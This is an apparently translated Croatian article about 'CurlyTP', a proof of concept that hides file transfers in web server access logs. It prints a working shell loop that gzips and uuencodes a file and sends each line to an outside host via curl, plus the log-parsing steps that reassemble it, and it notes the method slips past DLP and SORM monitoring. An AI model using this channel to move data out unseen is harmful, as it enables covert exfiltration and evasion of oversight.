Razmjena tajnih poruka putem poslužiteljskih zapisa

Prema definiciji Wikipedije mrtva kapa je alat za zavjeru koji služi za razmjenu informacija ili nekih stvari između ljudi koristeći tajnu lokaciju. Ideja je da se ljudi nikada ne susreću - ali ipak razmjenjuju informacije kako bi održali radnu sigurnost.

Skrovište ne bi trebalo privlačiti pažnju. Stoga u offline svijetu često koriste diskretne stvari: labavu ciglu u zidu, knjigu iz knjižnice ili šupljinu u drvetu.

Na internetu postoji mnogo alata za enkripciju i anonimizaciju, ali sama činjenica korištenja ovih alata privlači pažnju. Osim toga, mogu biti blokirani na razini poduzeća ili vlade. Što uraditi?

Programer Ryan Flowers predložio je zanimljivu opciju - koristiti bilo koji web poslužitelj kao skrovište. Ako razmislite o tome, što radi web poslužitelj? Prima zahtjeve, izdaje datoteke i piše dnevnike. I bilježi sve zahtjeve, čak i one netočne!

Ispostavilo se da bilo koji web poslužitelj omogućuje spremanje gotovo svake poruke u zapisnik. Cvijeće se pitalo kako to iskoristiti.

On nudi ovu opciju:

  1. Uzmite tekstualnu datoteku (tajna poruka) i izračunajte hash (md5sum).
  2. Kodiramo ga (gzip+uuencode).
  3. Zapisujemo u zapisnik koristeći namjerno netočan zahtjev poslužitelju.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Da biste pročitali datoteku, morate izvršiti ove operacije obrnutim redoslijedom: dekodirati i raspakirati datoteku, provjeriti hash (hash se može sigurno prenijeti otvorenim kanalima).

Razmaci se zamjenjuju s =+=tako da u adresi nema razmaka. Program, koji autor naziva CurlyTP, koristi base64 kodiranje, poput privitaka e-pošte. Zahtjev se postavlja pomoću ključne riječi ?transfer?tako da ga primatelj može lako pronaći u zapisima.

Što vidimo u zapisnicima u ovom slučaju?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Kao što je već spomenuto, da biste primili tajnu poruku, morate izvršiti operacije obrnutim redoslijedom:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Proces je lako automatizirati. Md5sum odgovara, a sadržaj datoteke potvrđuje da je sve ispravno dekodirano.

Metoda je vrlo jednostavna. “Poanta ove vježbe je samo dokazati da se datoteke mogu prenijeti putem nevinih malih web zahtjeva, a radi na bilo kojem web poslužitelju s običnim tekstualnim zapisima. U biti, svaki web poslužitelj je skrovište!” piše Flowers.

Naravno, metoda radi samo ako primatelj ima pristup zapisnicima poslužitelja. Ali takav pristup pružaju, na primjer, mnogi hosteri.

Kako ga koristiti?

Ryan Flowers kaže da nije stručnjak za informacijsku sigurnost i da neće sastaviti popis mogućih upotreba za CurlyTP. Za njega je to samo dokaz koncepta da se poznati alati koje viđamo svaki dan mogu koristiti na nekonvencionalan način.

Zapravo, ova metoda ima niz prednosti u odnosu na druge "skrivače" poslužitelja poput Digital Dead Drop ili PirateBox: ne zahtijeva posebnu konfiguraciju na strani poslužitelja niti bilo kakve posebne protokole - i neće izazvati sumnju kod onih koji prate promet. Malo je vjerojatno da će SORM ili DLP sustav skenirati URL-ove u potrazi za komprimiranim tekstualnim datotekama.

Ovo je jedan od načina prijenosa poruka putem servisnih datoteka. Možete se sjetiti kako su se plasirale neke napredne tvrtke Poslovi programera u HTTP zaglavljima ili u kodu HTML stranica.

Razmjena tajnih poruka putem poslužiteljskih zapisa

Ideja je bila da samo web programeri vide ovo uskršnje jaje, jer normalna osoba ne bi gledala zaglavlja ili HTML kod.

Razmjena tajnih poruka putem poslužiteljskih zapisa

Izvor: www.habr.com

Dodajte komentar